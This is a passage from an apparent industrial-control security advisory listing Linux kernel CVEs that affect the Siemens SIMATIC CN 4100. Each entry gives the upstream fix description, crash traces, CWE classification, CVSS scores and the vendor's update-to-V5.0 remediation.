| | ] bitmap Now we use all of our addressing based on fs_info->sectorsize_bits, so as you can see the above our 16k eb->start turns into radix entry 4. When we find a dirty range for our eb, we correctly do bit_start += sectors_per_node, because if we start at bit 0, the next bit for the next eb is 4, to correspond to eb->start 16k. However if our range is clean, we will do bit_start++, which will now put us offset from our radix tree entries. In our case, assume that the first time we check the bitmap the block is not dirty, we increment bit_start so now it == 1, and then we loop around and check again. This time it is dirty, and we go to find that start using the following equation start = folio_start + bit_start * fs_info->sectorsize; so in the case above, eb->start 0 is now dirty, and we calculate start as 0 + 1 * fs_info->sectorsize = 4096 4096 >> 12 = 1 Now we're looking up the radix tree for 1, and we won't find an eb. What's worse is now we're using bit_start == 1, so we do bit_start += sectors_per_node, which is now 5. If that eb is dirty we will run into the same thing, we will look at an offset that is not populated in the radix tree, and now we're skipping the writeout of dirty extent buffers. The best fix for this is to not use sectorsize_bits to address nodes, but that's a larger change. Since this is a fs corruption problem fix it simply by always using sectors_per_node to increment the start bit.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37968\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: opt3001: fix deadlock due to concurrent flag access The threaded IRQ function in this driver is reading the flag twice: once to lock a mutex and once to unlock it. Even though the code setting the flag is designed to prevent it, there are subtle cases where the flag could be true at the mutex_lock stage and false at the mutex_unlock stage. This results in the mutex not being unlocked, resulting in a deadlock. Fix it by making the opt3001_irq() code generally more robust, reading the flag into a variable and using the variable value at both stages.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38322\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix crash in icl_update_topdown_event() The perf_fuzzer found a hard-lockup crash on a RaptorLake machine: Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000 CPU: 23 UID: 0 PID: 0 Comm: swapper/23 Tainted: [W]=WARN Hardware name: Dell Inc. Precision 9660/0VJ762 RIP: 0010:native_read_pmc+0x7/0x40 Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ... RSP: 000:fffb03100273de8 EFLAGS: 00010046 .... Call Trace: icl_update_topdown_event+0x165/0x190 ? ktime_get+0x38/0xd0 intel_pmu_read_event+0xf9/0x210 __perf_event_read+0xf9/0x210 CPUs 16-23 are E-core CPUs that don't support the perf metrics feature. The icl_update_topdown_event() should not be invoked on these CPUs. It's a regression of commit: f9bdf1f95339 (\"perf/x86/intel: Avoid disable PMU if !cpuc->enabled in sample read\") The bug introduced by that commit is that the is_topdown_event() function is mistakenly used to replace the is_topdown_count() call to check if the topdown functions for the perf metrics feature should be invoked. Fix it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38347\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to do sanity check on ino and xnid syzbot reported a f2fs bug as below: INFO: task syz-executor140:5308 blocked for more than 143 seconds. Not tainted 6.14.0-rc7-syzkaller-00069-g81e4f8d68c66 #0 \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message. task:syz-executor140 state:D stack:24016 pid:5308 tgid:5308 ppid:5306 task_flags:0x400140 flags:0x00000006 Call Trace: context_switch kernel/sched/core.c:5378 [inline] __schedule+0x190e/0x4c90 kernel/sched/core.c:6765 __schedule_loop kernel/sched/core.c:6842 [inline] schedule+0x14b/0x320 kernel/sched/core.c:6857 io_schedule+0x8d/0x110 kernel/sched/core.c:7690 folio_wait_bit_common+0x839/0xee0 mm/filemap.c:1317 __folio_lock mm/filemap.c:1664 [inline] folio_lock include/linux/pagemap.h:1163 [inline] __filemap_get_folio+0x147/0xb40 mm/filemap.c:1917 pagecache_get_page+0x2c/0x130 mm/folio-compat.c:87 find_get_page_flags include/linux/pagemap.h:842 [inline] f2fs_grab_cache_page+0x2b/0x320 fs/f2fs/f2fs.h:2776 __get_node_page+0x131/0x11b0 fs/f2fs/node.c:1463 read_xattr_block+0xfb/0x190 fs/f2fs/xattr.c:306 lookup_all_xattrs fs/f2fs/xattr.c:355 [inline] f2fs_getxattr+0x676/0xf70 fs/f2fs/xattr.c:533 __f2fs_get_acl+0x52/0x870 fs/f2fs/acl.c:179 f2fs_acl_create fs/f2fs/acl.c:375 [inline] f2fs_init_acl+0xd7/0x9b0 fs/f2fs/acl.c:418 f2fs_init_inode_metadata+0xa0f/0x1050 fs/f2fs/dir.c:539 f2fs_add_inline_entry+0x448/0x860 fs/f2fs/inline.c:666 f2fs_add_dentry+0xba/0x1e0 fs/f2fs/dir.c:765 f2fs_do_add_link+0x28c/0x3a0 fs/f2fs/dir.c:808 f2fs_add_link fs/f2fs/f2fs.h:3616 [inline] f2fs_mknod+0x2e8/0x5b0 fs/f2fs/namei.c:766 vfs_mknod+0x36d/0x3b0 fs/namei.c:4191 unix_bind_bsd net/unix/af_unix.c:1286 [inline] unix_bind+0x563/0xe30 net/unix/af_unix.c:1379 __sys_bind_socket net/socket.c:1817 [inline] __sys_bind+0x1e4/0x290 net/socket.c:1848 __do_sys_bind net/socket.c:1853 [inline] __se_sys_bind net/socket.c:1851 [inline] __x64_sys_bind+0x7a/0x90 net/socket.c:1851 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Let's dump and check metadata of corrupted inode, it shows its xattr_nid is the same to its i_ino. dump.f2fs -i 3 chaseyu.img.raw i_xattr_nid [0x 3 : 3] So that, during mknod in the corrupted directory, it tries to get and lock inode page twice, result in deadlock. - f2fs_mknod - f2fs_add_inline_entry - f2fs_get_inode_page --- lock dir's inode page - f2fs_init_acl - f2fs_acl_create(dir,..) - __f2fs_get_acl - f2fs_getxattr - lookup_all_xattrs - __get_node_page --- try to lock dir's inode page In order to fix this, let's add sanity check on ino and xnid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38491\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: make fallback action and fallback decision atomic Syzkaller reported the following splat: WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 __mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 check_fully_established net/mptcp/options.c:982 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Modules linked in: CPU: 1 UID: 0 PID: 7704 Comm: syz.3.1419 Not tainted 6.16.0-rc3-gbd5ce2324dba #20 PREEMPT(voluntary) Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:__mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] RIP: 0010:mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] RIP: 0010:check_fully_established net/mptcp/options.c:982 [inline] RIP: 0010:mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Code: 24 18 e8 bb 2a 00 fd e9 1b df ff ff e8 b1 21 0f 00 e8 ec 5f c4 fc 44 0f b7 ac 24 b0 00 00 00 e9 54 f1 ff ff e8 d9 5f c4 fc 90 <0f> 0b 90 e9 b8 f4 ff ff e8 8b 2a 00 fd e9 8d e6 ff ff e8 81 2a 00 RSP: 0018:ffff8880a3f08448 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff8880180a8000 RCX: ffffffff84afcf45 RDX: ffff888090223700 RSI: ffffffff84afdaa7 RDI: 0000000000000001 RBP: ffff888017955780 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8880180a8910 R14: ffff8880a3e9d058 R15: 0000000000000000 FS: 00005555791b8500(0000) GS:ffff88811c495000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000110c2800b7 CR3: 0000000058e44000 CR4: 0000000000350ef0 Call Trace: tcp_reset+0x26f/0x2b0 net/ipv4/tcp_input.c:4432 tcp_validate_incoming+0x1057/0x1b60 net/ipv4/tcp_input.c:5975 tcp_rcv_established+0x5b5/0x21f0 net/ipv4/tcp_input.c:6166 tcp_v4_do_rcv+0x5dc/0xa70 net/ipv4/tcp_ipv4.c:1925 tcp_v4_rcv+0x3473/0x44a0 net/ipv4/tcp_ipv4.c:2363 ip_protocol_deliver_rcu+0xba/0x480 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x2f1/0x500 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_local_deliver+0x1be/0x560 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:469 [inline] ip_rcv_finish net/ipv4/ip_input.c:447 [inline] NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_rcv+0x514/0x810 net/ipv4/ip_input.c:567 __netif_receive_skb_one_core+0x197/0x1e0 net/core/dev.c:5975 __netif_receive_skb+0x1f/0x120 net/core/dev.c:6088 process_backlog+0x301/0x1360 net/core/dev.c:6440 __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7453 napi_poll net/core/dev.c:7517 [inline] net_rx_action+0xb44/0x1010 net/core/dev.c:7644 handle_softirqs+0x1d0/0x770 kernel/softirq.c:579 do_softirq+0x3f/0x90 kernel/softirq.c:480 __local_bh_enable_ip+0xed/0x110 kernel/softirq.c:407 local_bh_enable include/linux/bottom_half.h:33 [inline] inet_csk_listen_stop+0x2c5/0x1070 net/ipv4/inet_connection_sock.c:1524 mptcp_check_listen_stop.part.0+0x1cc/0x220 net/mptcp/protocol.c:2985 mptcp_check_listen_stop net/mptcp/mib.h:118 [inline] __mptcp_close+0x9b9/0xbd0 net/mptcp/protocol.c:3000 mptcp_close+0x2f/0x140 net/mptcp/protocol.c:3066 inet_release+0xed/0x200 net/ipv4/af_inet.c:435 inet6_release+0x4f/0x70 net/ipv6/af_inet6.c:487 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x402/0xb70 fs/file_table.c:465 task_work_run+0x150/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xd4 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38502\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bpf: Fix oob access in cgroup local storage Lonial reported that an out-of-bounds access in cgroup local storage can be crafted via tail calls. Given two programs each utilizing a cgroup local storage with a different value size, and one program doing a tail call into the other. The verifier will validate each of the indivial programs just fine. However, in the runtime context the bpf_cg_run_ctx holds an bpf_prog_array_item which contains the BPF program as well as any cgroup local storage flavor the program uses. Helpers such as bpf_get_local_storage() pick this up from the runtime context: ctx = container_of(current->bpf_ctx, struct bpf_cg_run_ctx, run_ctx); storage = ctx->prog_item->cgroup_storage[stype]; if (stype == BPF_CGROUP_STORAGE_SHARED) ptr = &READ_ONCE(storage->buf)->data[0]; else ptr = this_cpu_ptr(storage->percpu_buf); For the second program which was called from the originally attached one, this means bpf_get_local_storage() will pick up the former program's map, not its own. With mismatching sizes, this can result in an unintended out-of-bounds access. To fix this issue, we need to extend bpf_map_owner with an array of storage_cookie[] to match on i) the exact maps from the original program if the second program was using bpf_get_local_storage(), or ii) allow the tail call combination if the second program was not using any of the cgroup local storage maps.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38552\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: plug races between subflow fail and subflow creation We have races similar to the one addressed by the previous patch between subflow failing and additional subflow creation. They are just harder to trigger. The solution is similar. Use a separate flag to track the condition 'socket state prevent any additional subflow creation' protected by the fallback lock. The socket fallback makes such flag true, and also receiving or sending an MP_FAIL option. The field 'allow_infinite_fallback' is now always touched under the relevant lock, we can drop the ONCE annotation on write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38614\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed (\"epoll: limit paths\"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 (\"eventpoll: Fix priority inversion problem\").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38670\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: arm64/entry: Mask DAIF in cpu_switch_to(), call_on_irq_stack() `cpu_switch_to()` and `call_on_irq_stack()` manipulate SP to change to different stacks along with the Shadow Call Stack if it is enabled. Those two stack changes cannot be done atomically and both functions can be interrupted by SErrors or Debug Exceptions which, though unlikely, is very much broken : if interrupted, we can end up with mismatched stacks and Shadow Call Stack leading to clobbered stacks. In `cpu_switch_to()`, it can happen when SP_EL0 points to the new task, but x18 stills points to the old task's SCS. When the interrupt handler tries to save the task's SCS pointer, it will save the old task SCS pointer (x18) into the new task struct (pointed to by SP_EL0), clobbering it. In `call_on_irq_stack()`, it can happen when switching from the task stack to the IRQ stack and when switching back. In both cases, we can be interrupted when the SCS pointer points to the IRQ SCS, but SP points to the task stack. The nested interrupt handler pushes its return addresses on the IRQ SCS. It then detects that SP points to the task stack, calls `call_on_irq_stack()` and clobbers the task SCS pointer with the IRQ SCS pointer, which it will also use ! This leads to tasks returning to addresses on the wrong SCS, or even on the IRQ SCS, triggering kernel panics via CONFIG_VMAP_STACK or FPAC if enabled. This is possible on a default config, but unlikely. However, when enabling CONFIG_ARM64_PSEUDO_NMI, DAIF is unmasked and instead the GIC is responsible for filtering what interrupts the CPU should receive based on priority. Given the goal of emulating NMIs, pseudo-NMIs can be received by the CPU even in `cpu_switch_to()` and `call_on_irq_stack()`, possibly *very* frequently depending on the system configuration and workload, leading to unpredictable kernel panics. Completely mask DAIF in `cpu_switch_to()` and restore it when returning. Do the same in `call_on_irq_stack()`, but restore and mask around the branch. Mask DAIF even if CONFIG_SHADOW_CALL_STACK is not enabled for consistency of behaviour between all configurations. Introduce and use an assembly macro for saving and masking DAIF, as the existing one saves but only masks IF.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iommu/amd: Avoid stack buffer overflow from kernel cmdline While the kernel command line is considered trusted in most environments, avoid writing 1 byte past the end of \"acpiid\" if the \"str\" argument is maximum length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-805 Buffer Access with Incorrect Length Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38677\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid out-of-boundary access in dnode page As Jiaming Zhang reported: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x1c1/0x2a0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x17e/0x800 mm/kasan/report.c:480 kasan_report+0x147/0x180 mm/kasan/report.c:593 data_blkaddr fs/f2fs/f2fs.h:3053 [inline] f2fs_data_blkaddr fs/f2fs/f2fs.h:3058 [inline] f2fs_get_dnode_of_data+0x1a09/0x1c40 fs/f2fs/node.c:855 f2fs_reserve_block+0x53/0x310 fs/f2fs/data.c:1195 prepare_write_begin fs/f2fs/data.c:3395 [inline] f2fs_write_begin+0xf39/0x2190 fs/f2fs/data.c:3594 generic_perform_write+0x2c7/0x910 mm/filemap.c:4112 f2fs_buffered_write_iter fs/f2fs/file.c:4988 [inline] f2fs_file_write_iter+0x1ec8/0x2410 fs/f2fs/file.c:5216 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x546/0xa90 fs/read_write.c:686 ksys_write+0x149/0x250 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xf3/0x3d0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f The root cause is in the corrupted image, there is a dnode has the same node id w/ its inode, so during f2fs_get_dnode_of_data(), it tries to access block address in dnode at offset 934, however it parses the dnode as inode node, so that get_dnode_addr() returns 360, then it tries to access page address from 360 + 934 * 4 = 4096 w/ 4 bytes. To fix this issue, let's add sanity check for node id of all direct nodes during f2fs_get_dnode_of_data().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38679\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Fix OOB read due to missing payload bound check Currently, The event_seq_changed() handler processes a variable number of properties sent by the firmware. The number of properties is indicated by the firmware and used to iterate over the payload. However, the payload size is not being validated against the actual message length. This can lead to out-of-bounds memory access if the firmware provides a property count that exceeds the data available in the payload. Such a condition can result in kernel crashes or potential information leaks if memory beyond the buffer is accessed. Fix this by properly validating the remaining size of the payload before each property access and updating bounds accordingly as properties are parsed. This ensures that property parsing is safely bounded within the received message buffer and protects against malformed or malicious firmware behavior.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38680\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: uvcvideo: Fix 1-byte out-of-bounds read in uvc_parse_format() The buffer length check before calling uvc_parse_format() only ensured that the buffer has at least 3 bytes (buflen > 2), buf the function accesses buffer[3], requiring at least 4 bytes. This can lead to an out-of-bounds read if the buffer has exactly 3 bytes. Fix it by checking that the buffer has at least 4 bytes in uvc_parse_format().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd() Memory hot remove unmaps and tears down various kernel page table regions as required. The ptdump code can race with concurrent modifications of the kernel page tables. When leaf entries are modified concurrently, the dump code may log 